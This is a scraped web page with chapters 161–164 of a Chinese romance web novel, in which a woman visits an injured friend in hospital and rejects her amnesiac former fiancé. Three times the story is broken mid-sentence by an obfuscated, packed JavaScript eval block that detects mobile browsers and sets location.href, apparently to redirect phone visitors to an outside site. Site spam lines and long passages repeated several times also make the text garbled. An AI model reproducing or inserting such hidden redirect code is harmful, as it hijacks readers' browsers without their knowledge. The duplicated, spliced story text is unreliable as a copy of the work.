岑予衿按住她的肩膀,语气不容置疑,“谢司喻正在气头上,周时越恐怕也不会给你好脸色。你去了,除了让场面更难堪,刺激得谢司喻更愤怒,没有任何用处。甚至可能被蹲守的媒体拍到,把事情闹得更大,更不可收拾。你是艺人,要懂得避嫌。” 她看向一旁焦急等待的助理小杨,“小杨,带乐言回去,看好她。别让她看手机,别让她上网,更别让她出门。如果……如果有任何媒体试图联系,一律说‘无可奉告’,或者直接联系公司的公关部门,虽然她现在没公司,但可以用我的名义,找相熟的律师或公关顾问先应付着。” 小杨赶紧点头,“陆太太放心,我一定看好乐言姐。” 好不容易劝住苏乐言,看着她被小杨搀扶着,一步三回头地离开警局,岑予衿才长长舒了一口气,但那口气堵在胸口,并没有消散。 她揉了揉胀痛的太阳穴,对一直安静等候在旁的老陈道,“陈叔,去中心医院。” 不是故意要伤他那么重……我当时就是气疯了,又害怕,我……” 她语无伦次,显然被可能发生的后果吓坏了。 “我知道,我知道你不是故意的。”岑予衿用力回握她的手,试图传递一丝温暖和镇定。 “但现在说这些没用。当务之急是弄清楚谢司喻的具体伤情,以及他和他那边人的态度。张总那种人,无非是想要钱要面子,给足了就能打发。但谢司喻这里……” 她停顿了一下,眉宇间笼罩着浓重的忧虑,“恐怕没那么简单。他本身就不是好相与的人,这次又在众目睽睽之下……我们先处理眼前。” 她话音刚落,一个穿着制服的**便朝她们走了过来,手里拿着记录本,表情公事公办,“苏乐言小姐?” “我是。”苏乐言慌忙擦了下眼泪,站起身。 “关于你和张富贵先生之间的肢体冲突**,经过调解,张先生同意接受你的当面道歉,并赔偿其全部医疗费、误工费及精神损失抚慰金共计五十万元,双方就此和解,不再追究彼此其他责任。这是调解协议书,你看一下,没问题的话签字确认。” **将一份文件递过来。 苏乐言接过,看都没怎么看,就在岑予衿的示意下签了字。 能用钱解决张总这个麻烦,已经是目前最好的结果。 “另外,”**收起协议书,语气严肃了些,“关于谢司喻先生受伤一事,因涉及伤情鉴定及当事人陈述,目前尚不能定性。你需要保持手机二十四小时畅通,随时配合我们进一步的调查问询。在事情明朗之前,不得离开本市。明白吗?” “明白,明白,我一定配合。”苏乐言连连点头。 **交代完便离开了。 岑予衿看着苏乐言惊魂未定的样子,叹了口气,“张总这边算暂时了结了。你听话,先跟小杨回去,好好睡一觉,什么都别想,也别再出门。手机开着,等我消息。” “不行,衿衿,我得跟你一起去医院!” 苏乐言抓住她的胳膊,眼神里满是愧疚和固执,“祸是我闯的,我不能让你一个人去面对谢司喻和周时越……他们、他们要是为难你怎么办?” “你现在去,才是真的为难我,也是为难你自己。” 岑予衿按住她的肩膀,语气不容置疑,“谢司喻正在气头上,周时越恐怕也不会给你好脸色。你去了,除了让场面更难堪,刺激得谢司喻更愤怒,没有任何用处。甚至可能被蹲守的媒体拍到,把事情闹得更大,更不可收拾。你是艺人,要懂得避嫌。” 她看向一旁焦急等待的助理小杨,“小杨,带乐言回去,看好她。别让她看手机,别让她上网,更别让她出门。如果……如果有任何媒体试图联系,一律说‘无可奉告’,或者直接联系公司的公关部门,虽然她现在没公司,但可以用我的名义,找相熟的律师或公关顾问先应付着。” 小杨赶紧点头,“陆太太放心,我一定看好乐言姐。” 好不容易劝住苏乐言,看着她被小杨搀扶着,一步三回头地离开警局,岑予衿才长长舒了一口气,但那口气堵在胸口,并没有消散。 她揉了揉胀痛的太阳穴,对一直安静等候在旁的老陈道,“陈叔,去中心医院。” 第162章 恢复记忆你不可能不纠缠她! 岑予衿听说周时越在医院她是不想过去的。 毕竟两人的身份现在挺尴尬的。 再加上上次,他走错试衣间,突然喊了她的名字,总觉得怪怪的。 像是要恢复记忆。 但是……一方面苏乐言是她最好的闺蜜,另一方面谢司喻也算是她的好朋友。 他真的帮了她好多好多。 可以说……她和陆京洲能成,一定程度上还是因为谢司喻,要不是他帮着逃出去,她也没机会实行接下来的计划。 希望言言下手没有那么重,伤的轻一些。 要不然她也不知道该怎么办,不论偏向谁,另外一方总会受伤。 车子很快抵达中心医院。 岑予衿先给他发了条消息,他那边没有回。 没办法,又去前台问了一下,具体情况。 确定了他在什么病房才往楼上走。 她是做足了心理准备才上楼,心里祈祷了千遍万遍,就希望不要在病房里遇到周时越那个**。 说实话……失忆后的他,简直就是前科级别的人物,出门遇到他都会觉得倒霉的程度。 然而今天她本来就水逆,也没抱太大的期待。 果然……刚到门口,就听到了周时越熟悉的声音。 岑予衿从房间门口的玻璃开口处看了进去,就看到躺在床上包的跟木乃伊似的谢司喻。 而周时越就坐在他病床边,脸上的表情有点难看。 “司喻,我现在能相信的人只有你了,我求你……帮帮我吧,我真的想恢复记忆,我真的想知道这三年她到底经历了什么?心理医生说多聊聊以前的事情,有助于恢复记忆,你就当我求你了。” 谢司喻冷哼了一声,“你还是一辈子不要恢复记忆吧。” “我……” 谢司喻丝毫没有给他开口的机会,一下子从床上坐了起来,恶狠狠的抬手指着他。 似乎是情绪过于激动了,扯到了伤口有点疼,脸上的表情有点难看。 “嘶……疼死老子了。” 周时越立马紧张的凑了上去,检查他的情况,“你躺着说就好了起来干什么,我又没让你起来面对着我说……” 谢司喻一下子甩开了他的手,伤口二次被扯到疼的,他呲牙咧嘴的,“撒开我,离我远点嗷!” “我……” “你你你你什么你?”谢司喻是真的没忍住开喷了,“你脑袋被驴踢了吧?” 他抬手恶狠狠的指着他,怒骂道, 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 “我当时就跟你说了,你只是失忆了,不是失心疯了,你对衿衿做的那些事情,哪怕是你下十八层地狱都弥补不了的,更别说是你现在想要恢复记忆。” 岑予衿听着他的维护,手指不自觉攥紧。 谢司喻的三观是真的很正。 “求你了,她没找你麻烦,你就当她真的**,当她是你亲妹妹成吗?这样不好吗?陆京洲虽说是个二世祖,但也没有我们想的那么不堪,光我听说的那些事情我就知道,衿衿她现在过得很好,你放过她吧。” 周时越听着这些话,不自觉的攥紧了拳头,“凭什么?” 谢司喻不自觉的瞪大了眼睛,难以置信的看着他,“凭什么?大哥……我的亲大哥,就凭你结婚了,领证,你老婆怀孕了!就凭她,改名换姓了,凭她嫁人了,凭她有个很爱她的老公,凭她也怀孕了,凭她嫁入比周家更好的豪门,凭她过的很幸福,够吗?” 谢司喻的小嘴就跟吃了毒似的,叭叭叭的一顿输出,“一个合格的前任就该跟**一样,更别说你这个根本算不上什么前任,就你这样的可以称为是前科,懂吗?” “你知道前科是什么吗?前科那就是黑历史,是得跟着档案走一辈子的那种!” 周时越的拳头在身侧慢慢松开,指节泛白的痕迹缓缓消退。 他垂下眼,视线落在病房洁白的被单上,声音沉静得近乎疲惫,“我没想找她怎么样,我知道她现在结婚了,我也有了自己的家庭,我们之间再也没有可能了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16900366|191758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢司喻靠在床头,因为包扎严实而显得滑稽的脸上,眼神却锐利如刀。 “所以……哪怕恢复了记忆,我也不会再去纠缠她。”周时越抬起头,目光平静,“我只是……需要知道那三年发生了什么。我需要知道我为什么变成现在这样,为什么所有人都觉得我亏欠她。我想知道自己曾经是谁。” 病房里消毒水的气味弥漫开来,窗外的天色逐渐暗沉。 谢司喻盯着他看了很久,突然笑了一声,那笑声里全是苦涩和嘲讽。 “周时越,你知道最可笑的是什么吗?”他扯了扯嘴角,伤口被牵动,疼得他倒吸一口凉气,“如果在那些事情发生之前,你听进去了我说的话,我现在也不会觉得你这么可笑,你知道这才过了多长时间吗?半年而已。” 周时越愣住了。 “你说你恢复记忆也不会去找她?”谢司喻摇摇头,一字一顿,声音坚定,“不,你会。” “为什么?”周时越的声音有些干涩。 “因为没失忆之前的你,真的很爱她,很爱很爱她。” 这句话像一把钝刀,缓慢而沉重地刺进周时越的心脏。 他张了张嘴,却发不出声音。 “爱到可以不顾一切。”谢司喻闭上眼睛,像是回忆起了什么痛苦的画面,“爱到明知道不该靠近,却还是控制不住地想去见她。爱到……哪怕所有人都反对,你也会毫不犹豫的跪在祠堂,不吃不喝3天3夜,哪怕知道你们之间隔着千山万水,你还是会想尽办法知道她过得好不好。” 窗外的暮色完全笼罩了病房,走廊的灯光透过门上的玻璃投进来,在地板上拉出长长的影子。 “所以别骗自己了。”谢司喻睁开眼,声音疲惫,“如果你真的恢复了记忆,你不可能不去找她。因为那个你,那个完整的周时越根本无法接受岑予衿从你的世界里消失。” 谢司喻抬手拍了拍他的肩膀,“现在这样挺好的,别去打扰她,已经是对最好的补偿,要你实在觉得对不起她,非要补偿她,你给她钱吧,这个世界上没有人会和钱过不去的。” 第163章 失忆的周时越克她 周时越的眼神有些呆滞,像是陷入了什么遥远的回忆。 他缓缓开口,声音飘忽,“我和薇薇的婚礼……那天被人砸了场子。礼宾台的花瓶全碎了,签到簿被撕得粉碎,投影仪上还被人用红漆喷了字……到现在也没查出来是谁。 他顿了顿,视线没有焦点地望着病房的某个角落,“你说,会是她吗? 谢司喻先是愣了一秒,随即“噗嗤一声笑了出来。 这笑声越来越大,最后几乎成了狂笑,他笑得前仰后合,又因为牵动伤口而疼得龇牙咧嘴,表情扭曲得滑稽。 “哎哟……疼死我了……哈哈哈哈……他一边捂着伤口,一边擦着眼角笑出来的泪花,“周时越,你真是……你真是病得不轻啊! 周时越的脸色沉了下来,“你笑什么? “我笑你太把自己当回事了!谢司喻终于止住笑,但嘴角仍挂着讥诮的弧度,“你觉得你都那样对她了,她还对你念念不忘?你是哪根葱哪瓣蒜?是人民币吗人人都得惦记着你? 周时越的嘴唇抿成一条直线。 “别说岑予衿现在过得多幸福,就算她不幸福,她也干不出这种事。谢司喻的语气斩钉截铁,“你知道为什么吗? 他顿了顿,直视着周时越的眼睛:“因为她压根就不在乎你了。从你决定给她改名换姓,她彻底离开你的那一刻起,你就已经从她的世界里被清除了。彻彻底底,干干净净。 窗外天色已经完全黑透,病房里只开着一盏床头灯,在两人脸上投下深深浅浅的阴影。 “至于你的婚礼被砸……谢司喻耸耸肩,“你自己想想这些年得罪过多少人吧。商场上、私底下,你周大少什么时候给过别人面子?有人借着你结婚的日子给你添堵,太正常不过了。 周时越沉默了,垂在身侧的手再次握紧。 是啊,他怎么就下意识地想到了岑予衿呢? 是因为内心深处,还残留着一丝可笑的幻想……幻想她还会为他难过,为他愤怒,甚至为他做出不理智的事? “别再胡思乱想了。谢司喻的语气难得地缓和下来,“阿越,好好过你现在的日子。岑予衿已经往前走了很远很远,你也该往前看了。 岑予衿听的一头雾水。 她哪有时间搞那些事情。 首先幼稚不说,她觉得渣男贱女就该锁死,祝福还来不及呢。 再说了,他们婚礼那天陆京洲不在家,她压根就没往那方面想。 对她来说他就 听说看这本书的人都是很幸运的,分享后你的运气会更棒 是一个陌生人,她为什么要去破坏一个陌生人的婚礼呢? 那天她出门还出了车祸呢。 由此,她得出了一个结论,失忆后的周时越克她。 病房门被推开时,周时越和谢司喻都愣了一下。 岑予衿站在门口,灯光从她身后透进来,勾勒出她纤细却挺直的轮廓。 她的脸上没什么表情,眼神平静得像一汪深潭。 周时越几乎是下意识地站了起来,喉结滚动了一下,“衿衿…… “别这么叫我。岑予衿走进来,随手带上了门,“周先生,我们没熟到那个份上。 她的声音很轻,却像冰锥一样刺进空气里,“现在我是周家二小姐,周芙笙,你忘了吗? 谢司喻在床上艰难地挪了挪身子,试图坐得端正些,脸上露出“有好戏看了的表情。 虽然他极力掩饰,但眼睛里那点幸灾乐祸还是藏不住。 “你没事儿吧?看起来伤的好严重。 谢司喻冲她摆了摆手,“小伤,小伤,别担心。 岑予衿转过身,正视周时越。 这是自那次试衣间尴尬相遇后,他们第一次真正意义上的面对面。 周时越看着她,那张曾经刻在骨子里的脸,如今却透着陌生的疏离感。 她胖了一点,应该是怀了宝宝的原因,气色却很好,尤其是那双眼睛,从前总是盛满温柔,现在却清亮锐利,像打磨过的玉石。 “刚才在门外,不小心听到你们的对话。 岑予衿开口,语气平淡得像在谈论天气,“周先生,我觉得有必要澄清一下。 周时越的呼吸微微一滞。 “第一,你和林舒薇小姐婚礼上的闹剧,跟我没有任何关系。我没那么闲,也没那么幼稚。 她顿了顿,唇角勾起一抹极淡的嘲讽,“再说了,你们俩一个渣一个贱,天造地设的一对,我祝福还来不及,为什么要去破坏? 谢司喻没忍住,“噗地笑出声,又赶紧捂住嘴。 周时越的脸色肉眼可见地白了几分。 “第二,岑予衿继续道,声音依旧平静,“你结婚那天我没到场,不是因为我还有什么放不下的感情,或者偷偷摸摸去搞破坏。单纯是因为你…… 她直视着周时越的眼睛,一字一顿,“我觉得恶心。 病房里的空气仿佛凝固了。 窗外有救护车的鸣笛声由远及近,又逐渐远去。 “看两个伤害过我的人, 你的朋友正在书荒,快去帮帮他吧 站在台上宣誓永远相爱携手一生?” 岑予衿轻轻摇头“抱歉我没那么大度。光是想想那个画面我就觉得反胃。” 她的话像一把把淬了冰的刀子精准地**周时越心脏最柔软的地方。 他想说什么张开嘴却发现喉咙干涩得发不出声音。 “所以周先生”岑予衿最后说“请你以后不要再自作多情也不要什么屎盆子都往我头上扣。我们之间早就两清了你做你的周大少我过我的小日子互不打扰各自安好这才是对我们所有人最好的结局。” 周时越口袋里的手机突兀地震动起来嗡嗡的声响在安静的病房里格外刺耳。 他像是被惊醒般机械地掏出手机屏幕上闪烁着“老婆”两个字。 他没有接也没有挂断只是盯着那闪烁的名字看了几秒。 抬起头目光在岑予衿脸上停留了片刻她的神情依旧平静。 “我……接个电话。”他哑声说声音干涩得像砂纸摩擦。 岑予衿微微颔首侧身让开了门边的位置。 周时越几乎是逃也似的离开了病房 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16900367|191758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脚步踉跄甚至差点撞在走廊的墙壁上。 他靠在冰冷的墙壁上才终于按下了接听键。 她问他为什么去医院? 为什么还不回家? 是不是不爱她了? 是不是不爱宝宝了? 听着她传来的逼问周时越第一次感觉这么累。 挂断电话他将手机紧紧攥在手里 他靠在墙上缓缓滑坐到冰凉的地砖上。 心脏的位置传来一阵阵钝痛像是被重物反复击打。他不明白自己为什么会这样难受——明明岑予衿说的每一句话都合情合理明明他自己也早就接受了他们之间再无可能的事实。 可是当她用那样平静的语气说出“我觉得恶心”四个字时他还是感觉到了一种灭顶般的窒息感。 就好像……他内心深处某个一直不愿承认的角落暴露在了阳光下。 他抬起手捂住了脸。 脑海中忽然闪过一些破碎的画面——大雨滂沱的夜晚他跪在周家祠堂冰冷的地面上背脊挺得笔直。 某个阳光很好的午后她踮起脚尖笨拙地替他整理歪掉的领带脸颊微微泛红…… 那些画面模糊而遥远像隔着一层浓雾却带着真实的情感冲击 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 让他几乎喘不过气。 “阿越?” 身后传来谢司喻的声音。 他不知何时杵着拐杖,一瘸一拐地挪到了病房门口,正皱着眉看他。 周时越放下手,脸上已经恢复了惯常的平静,只是眼底残留的血丝和微红的眼眶泄露了一丝狼狈。 “你怎么出来了?”他站起身,声音依旧沙哑。 “怕你想不开。”谢司喻啧了一声,靠着门框,“至于吗?她说的都是实话。” 周时越沉默了一会儿,才低声道,“我知道。” 他知道她说的是实话。 正因如此,才更难受,还不甘心。 “回去吧。”谢司喻叹了口气,“你现在是有老婆孩子的人,别钻牛角尖了。” 周时越点点头,却没有立刻离开。 他回头看了一眼紧闭的病房门,岑予衿还在里面。 “司喻。”他忽然开口,声音很轻,“如果……如果我当初没有失忆,事情会不会不一样?” 谢司喻愣了一下,随即摇头,“没有如果。阿越,发生过的事情改变不了。假设真的没有发生这些事,你们也未必会幸福……” 他顿了顿,语气变得认真,“你爸妈从来都是看不上她的……你夹在他们中间,问题迟早会暴露出来。” 周时越没有再说话。 他最后看了一眼那扇门,然后转身,朝着电梯走去。 走廊很长,灯光很冷。 似乎……从始至终想让他恢复记忆的人只有很爱很爱他的岑予衿。 现在……所有人都不希望他恢复记忆,包括自己的父母和她。 他的背影在空旷的走廊里显得格外孤寂。 电梯门缓缓合上,将医院的景象彻底隔绝。 第164章 正缘 而在病房里,岑予衿正削着苹果,动作熟练地将果皮削成长长的一条。 她把削好的苹果递给谢司喻,随口问道,“他走了?” “嗯。”谢司喻啃着苹果,含糊地说,“看起来受打击不小。” 岑予衿垂眸,用纸巾擦着水果刀,语气平淡,“有些话,早说清楚对大家都好。” “也是。”谢司喻点点头,又忍不住八卦,“说真的,他婚礼被砸那事儿……真不是你干的?” 岑予衿抬眼看他,眼神里带着点无奈,“我看起来像是那么无聊的人吗?” 谢司喻嘿嘿一笑,“不像。不过……我听说那天陆京洲的几个朋友好像也在那家酒店。” 岑予衿手上的动作顿了一下,随即又恢复正常,“是吗?那可能是巧合吧。” “好久没见了,这段时间过得怎么样?陆京洲他对你好吗?” 提到陆京洲岑予衿眼神立马软了下来,冲他重重的点了点头,“他很好,比我想象中的要好很多很多,不像传闻中的那么不靠谱,他……很细心,做饭很好吃,和他在一起,我很开心!” 岑予衿下意识的将手搭在了自己的小腹。 谢司喻看着她微微隆起的小腹被手轻轻覆盖,心头猛地一震,随即涌上巨大的惊喜和欣慰。 他目光炯炯地看向岑予衿,声音里带着笑意和不易察觉的感慨,“几个月了?” 岑予衿脸上飞起一抹红晕,点了点头,眼神里是前所未有的柔软和安定,“快四个月了。” “好,真好!”谢司喻由衷地感叹,苹果都忘了啃。 他仔细打量着眼前的人,短短半年时间,她身上曾经那种挥之不去的忧郁早已消失不见,取而代之的是一种被妥帖呵护后的从容温润。 眉目舒展,连唇角都似乎习惯性地含着浅浅的笑意。 这和半年前那个在感情里挣扎、眼神时常带着惶然不安的岑予衿,判若两人。 “看来陆京洲把你照顾得很好,”谢司喻放下苹果,语气认真,“你这气色,这精神状态,跟以前完全不一样了。我都要认不出来了。” 岑予衿笑了笑,指尖无意识地在小腹上轻轻摩挲,“是他让我觉得,生活可以不用那么紧绷,不用时刻准备面对风雨。他会记住我随口提的小事,会在雷雨天特意早点回家陪我,会耐心地学做我喜欢的菜……很多很多细节。” 她顿了顿,声音更柔和了些,“我以前总觉得,感情要么轰轰烈烈,要么权衡利弊。但他让我知道,还有一种, 是细水长流的安心和踏实。” 谢司喻静静听着,心里最后那点因为过去风波而生的担忧,也渐渐平息下去。 想起岑予衿从前那段纠葛,那时她像一根绷紧的弦,快乐总是短暂,焦虑和不确定却如影随形。 而现在,她整个人是松弛的,由内而外散发出一种被爱滋养的丰盈感。 “看来这次,你是真的找对人了。”谢司喻笑道,带着祝福的口吻,“什么天降孽缘,说不定都是为遇见正缘铺垫的。陆二少我以前还觉得他吊儿郎当,没想到还有这么靠谱的一面。能把我们岑大小姐宠成现在这样,算他有本事。” 岑予衿被他调侃得有些不好意思,但眼里的光彩却遮不住,“我也没想到。有时候缘分就是这么奇妙。” 她看向窗外明媚的阳光,轻声说,“以前觉得,熬过那些就是解脱。现在才明白,原来真正的幸福,不是逃离了什么,而是终于走向了什么。” 谢司喻顺着她的目光看去,阳光正好。 他想起半年前那场闹得满城风雨的婚礼,现在看来,那或许并非一个糟糕的结局,而是一个必要的新生。 “往前看就对了。”谢司喻拿起苹果,用力咬了一口,清脆作响,仿佛在为一个崭新的开始喝彩。 “过去的人和事,就让他们留在过去。你现在有陆京洲,有宝宝,有自己的新生活。我看得出来,你是真的开心。这就比什么都强。” 岑予衿收回目光,看向谢司喻,眼神清澈而坚定,“嗯,我很开心。也很珍惜现在的一切。” 病房里安静下来,只有苹果清甜的香气淡淡萦绕,“对了,陆京洲知道你的**了吗?他不会还以为自己老婆是周芙笙吧?” 说到这个岑予衿的脑袋就忍不住耷拉了下来,“还没有,我原本是想和他坦白的,以前总觉得爱得不够,不敢和他坦白,怕现在所拥有的一切都是梦。” “前几天好不容易鼓起了勇气要和他坦白,他却突然有事儿出国了,到现在都没回来呢,等她回来,我会找机会和她说清楚的。” 谢司喻点了点头,“夫妻之间还是没有秘密的好,等他回来,你找个机会跟他说清楚吧,如果真的像你所说的这样,我感觉他是真的喜欢你,跟你的身份无关。” 岑予衿都没什么把握,“真的吗?” “当然了!”谢司喻毫不犹豫的点头,“对了,你怎么知道我在医院?都这个点了还过来看我?” 岑予衿这才想起正事儿,有些不好意思,“那个……我是来向你道歉的。” 是细水长流的安心和踏实。” 谢司喻静静听着,心里最后那点因为过去风波而生的担忧,也渐渐平息下去。 想起岑予衿从前那段纠葛,那时她像一根绷紧的弦,快乐总是短暂,焦虑和不确定却如影随形。 而现在,她整个人是松弛的,由内而外散发出一种被爱滋养的丰盈感。 “看来这次,你是真的找对人了。”谢司喻笑道,带着祝福的口吻,“什么天降孽缘,说不定都是为遇见正缘铺垫的。陆二少我以前还觉得他吊儿郎当,没想到还有这么靠谱的一面。能把我们岑大小姐宠成现在这样,算他有本事。” 岑予衿被他调侃得有些不好意思,但眼里的光彩却遮不住,“我也没想到。有时候缘分就是这么奇妙。” 她看向窗外明媚的阳光,轻声说,“以前觉得,熬过那些就是解脱。现在才明白,原来真正的幸福,不是逃离了什么,而是终于走向了什么。” 谢司喻顺着她的目光看去,阳光正好。 他想起半年前那场闹得满城风雨的婚礼,现在看来,那或许并非一个糟糕的结局,而是一个必要的新生。 “往前看就对了。”谢司喻拿起苹果,用力咬了一口,清脆作响,仿佛在为一个崭新的开始喝彩。 “过去的人和事,就让他们留在过去。你现在有陆京洲,有宝宝,有自己的新生活。我看得出来,你是真的开心。这就比什么都强。” 岑予衿收回目光,看向谢司喻,眼神清澈而坚定,“嗯,我很开心。也很珍惜现在的一切。” 病房里安静下来,只有苹果清甜的香气淡淡萦绕,“对了,陆京洲知道你的**了吗?他不会还以为自己老婆是周芙笙吧?” 说到这个岑予衿的脑袋就忍不住耷拉了下来,“还没有,我原本是想和他坦白的,以前总觉得爱得不够,不敢和他坦白,怕现在所拥有的一切都是梦。” “前几天好不容易鼓起了勇气要和他坦白,他却突然有事儿出国了,到现在都没回来呢,等她回来,我会找机会和她说清楚的。” 谢司喻点了点头,“夫妻之间还是没有秘密的好,等他回来,你找个机会跟他说清楚吧,如果真的像你所说的这样,我感觉他是真的喜欢你,跟你的身份无关。” 岑予衿都没什么把握,“真的吗?” “当然了!”谢司喻毫不犹豫的点头,“对了,你怎么知道我在医院?都这个点了还过来看我?” 岑予衿这才想起正事儿,有些不好意思,“那个……我是来向你道歉的。” 是细水长流的安心和踏实。” 谢司喻静静听着,心里最后那点因为过去风波而生的担忧,也渐渐平息下去。 想起岑予衿从前那段纠葛,那时她像一根绷紧的弦,快乐总是短暂,焦虑和不确定却如影随形。 而现在,她整个人是松弛的,由内而外散发出一种被爱滋养的丰盈感。 “看来这次,你是真的找对人了。”谢司喻笑道,带着祝福的口吻,“什么天降孽缘,说不定都是为遇见正缘铺垫的。陆二少我以前还觉得他吊儿郎当,没想到还有这么靠谱的一面。能把我们岑大小姐宠成现在这样,算他有本事。” 岑予衿被他调侃得有些不好意思,但眼里的光彩却遮不住,“我也没想到。有时候缘分就是这么奇妙。” 她看向窗外明媚的阳光,轻声说,“以前觉得,熬过那些就是解脱。现在才明白,原来真正的幸福,不是逃离了什么,而是终于走向了什么。” 谢司喻顺着她的目光看去,阳光正好。 他想起半年前那场闹得满城风雨的婚礼,现在看来,那或许并非一个糟糕的结局,而是一个必要的新生。 “往前看就对了。”谢司喻拿起苹果,用力咬了一口,清脆作响,仿佛在为一个崭新的开始喝彩。 “过去的人和事,就让他们留在过去。你现在有陆京洲,有宝宝,有自己的新生活。我看得出来,你是真的开心。这就比什么都强。” 岑予衿收回目光,看向谢司喻,眼神清澈而坚定,“嗯,我很开心。也很珍惜现在的一切。” 病房里安静下来,只有苹果清甜的香气淡淡萦绕,“对了,陆京洲知道你的**了吗?他不会还以为自己老婆是周芙笙吧?” 说到这个岑予衿的脑袋就忍不住耷拉了下来,“还没有,我原本是想和他坦白的,以前总觉得爱得不够,不敢和他坦白,怕现在所拥有的一切都是梦。” “前几天好不容易鼓起了勇气要和他坦白,他却突然有事儿出国了,到现在都没回来呢,等她回来,我会找机会和她说清楚的。” 谢司喻点了点头,“夫妻之间还是没有秘密的好,等他回来,你找个机会跟他说清楚吧,如果真的像你所说的这样,我感觉他是真的喜欢你,跟你的身份无关。” 岑予衿都没什么把握,“真的吗?” “当然了!”谢司喻毫不犹豫的点头,“对了,你怎么知道我在医院?都这个点了还过来看我?” 岑予衿这才想起正事儿,有些不好意思,“那个……我是来向你道歉的。” 是细水长流的安心和踏实。” 谢司喻静静听着,心里最后那点因为过去风波而生的担忧,也渐渐平息下去。 想起岑予衿从前那段纠葛,那时她像一根绷紧的弦,快乐总是短暂,焦虑和不确定却如影随形。 而现在,她整个人是松弛的,由内而外散发出一种被爱滋养的丰盈感。 “看来这次,你是真的找对人了。”谢司喻笑道,带着祝福的口吻,“什么天降孽缘,说不定都是为遇见正缘铺垫的。陆二少我以前还觉得他吊儿郎当,没想到还有这么靠谱的一面。能把我们岑大小姐宠成现在这样,算他有本事。” 岑予衿被他调侃得有些不好意思,但眼里的光彩却遮不住,“我也没想到。有时候缘分就是这么奇妙。” 她看向窗外明媚的阳光,轻声说,“以前觉得,熬过那些就是解脱。现在才明白,原来真正的幸福,不是逃离了什么,而是终于走向了什么。” 谢司喻顺着她的目光看去,阳光正好。 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“过去的人和事,就让他们留在过去。你现在有陆京洲,有宝宝,有自己的新生活。我看得出来,你是真的开心。这就比什么都强。” 岑予衿收回目光,看向谢司喻,眼神清澈而坚定,“嗯,我很开心。也很珍惜现在的一切。” 病房里安静下来,只有苹果清甜的香气淡淡萦绕,“对了,陆京洲知道你的**了吗?他不会还以为自己老婆是周芙笙吧?” 说到这个岑予衿的脑袋就忍不住耷拉了下来,“还没有,我原本是想和他坦白的,以前总觉得爱得不够,不敢和他坦白,怕现在所拥有的一切都是梦。” “前几天好不容易鼓起了勇气要和他坦白,他却突然有事儿出国了,到现在都没回来呢,等她回来,我会找机会和她说清楚的。” 谢司喻点了点头,“夫妻之间还是没有秘密的好,等他回来,你找个机会跟他说清楚吧,如果真的像你所说的这样,我感觉他是真的喜欢你,跟你的身份无关。” 岑予衿都没什么把握,“真的吗?” “当然了!”谢司喻毫不犹豫的点头,“对了,你怎么知道我在医院?都这个点了还过来看我?” 岑予衿这才想起正事儿,有些不好意思,“那个……我是来向你道歉的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16900368|191758||http|test|mini|href|location''.split(''|''),0,{})); () { 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想起岑予衿从前那段纠葛,那时她像一根绷紧的弦,快乐总是短暂,焦虑和不确定却如影随形。 而现在,她整个人是松弛的,由内而外散发出一种被爱滋养的丰盈感。 “看来这次,你是真的找对人了。”谢司喻笑道,带着祝福的口吻,“什么天降孽缘,说不定都是为遇见正缘铺垫的。陆二少我以前还觉得他吊儿郎当,没想到还有这么靠谱的一面。能把我们岑大小姐宠成现在这样,算他有本事。” 岑予衿被他调侃得有些不好意思,但眼里的光彩却遮不住,“我也没想到。有时候缘分就是这么奇妙。” 她看向窗外明媚的阳光,轻声说,“以前觉得,熬过那些就是解脱。现在才明白,原来真正的幸福,不是逃离了什么,而是终于走向了什么。” 谢司喻顺着她的目光看去,阳光正好。 他想起半年前那场闹得满城风雨的婚礼,现在看来,那或许并非一个糟糕的结局,而是一个必要的新生。 “往前看就对了。”谢司喻拿起苹果,用力咬了一口,清脆作响,仿佛在为一个崭新的开始喝彩。 “过去的人和事,就让他们留在过去。你现在有陆京洲,有宝宝,有自己的新生活。我看得出来,你是真的开心。这就比什么都强。” 岑予衿收回目光,看向谢司喻,眼神清澈而坚定,“嗯,我很开心。也很珍惜现在的一切。” 病房里安静下来,只有苹果清甜的香气淡淡萦绕,“对了,陆京洲知道你的**了吗?他不会还以为自己老婆是周芙笙吧?” 说到这个岑予衿的脑袋就忍不住耷拉了下来,“还没有,我原本是想和他坦白的,以前总觉得爱得不够,不敢和他坦白,怕现在所拥有的一切都是梦。” “前几天好不容易鼓起了勇气要和他坦白,他却突然有事儿出国了,到现在都没回来呢,等她回来,我会找机会和她说清楚的。” 谢司喻点了点头,“夫妻之间还是没有秘密的好,等他回来,你找个机会跟他说清楚吧,如果真的像你所说的这样,我感觉他是真的喜欢你,跟你的身份无关。” 岑予衿都没什么把握,“真的吗?” 